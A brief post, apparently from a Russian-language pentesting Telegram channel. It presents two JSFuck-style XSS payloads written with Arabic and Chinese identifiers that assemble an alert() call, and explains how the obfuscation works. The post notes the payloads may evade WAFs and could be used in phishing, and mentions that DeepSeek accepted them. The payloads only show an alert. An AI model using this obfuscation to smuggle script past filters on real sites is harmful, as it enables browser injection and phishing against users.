tgoop.com/pentestnotes/193
Create:
Last Update:
Last Update:
Интересные XSS пейлоады подъехали
ا='',ب=!ا+ا,ت=!ب+ا,ث=ا+{},ج=ب[ا++],ح=ب[خ=ا],
د=++خ+ا,ذ=ث[خ+د],ب[ذ+=ث[ا]+(ب.ت+ث)[ا]+ت[د]+ج+ح+ب[خ]+ذ+ج+ث[ا]+ح][ذ](ت[ا]+ت[خ]+ب[د]+ح+ج+"(1)")()
甲='',乙=!甲+甲,丙=!乙+甲,丁=甲+{},戊=乙[甲++],己=乙[庚=甲],
辛=++庚+甲,壬=丁[庚+辛],
乙[壬+=丁[甲]+(乙.丙+丁)[甲]+丙[辛]+戊+己+乙[庚]+壬+戊+丁[甲]+己][壬](
丙[甲]+丙[庚]+乙[辛]+己+戊+"('被攻擊了')"
)()
Как это вообще работает:
Идентификаторы в JavaScript могут содержать любые символы Unicode, поэтому можно использовать переменные с именами на арабском, русском, иероглифах, греческом и т.д. — это не меняет работу кода.
Сам код при этом собирается из базовых примитивов (булевых значений, пустых строк, объектов), а нужные строки и функции извлекаются посимвольно по индексам из этих примитивов. (Принцип JSFuck).
![] → false
!![] → true
+[] → 0
[]+[] → "" (пустая строка)
{}+[] и прочее дают строки вроде "[object Object]"
("false"+{})[1] → "a"
И так далее — по индексации из известных значений.
Полный перечень тут
Таким образом можно сделать payload, который выполнится в браузере, но при этом, вероятно, не будет детектиться многими WAF (Или при фишинге). Дипсику кстати понравилось, он всё скушал
Ps.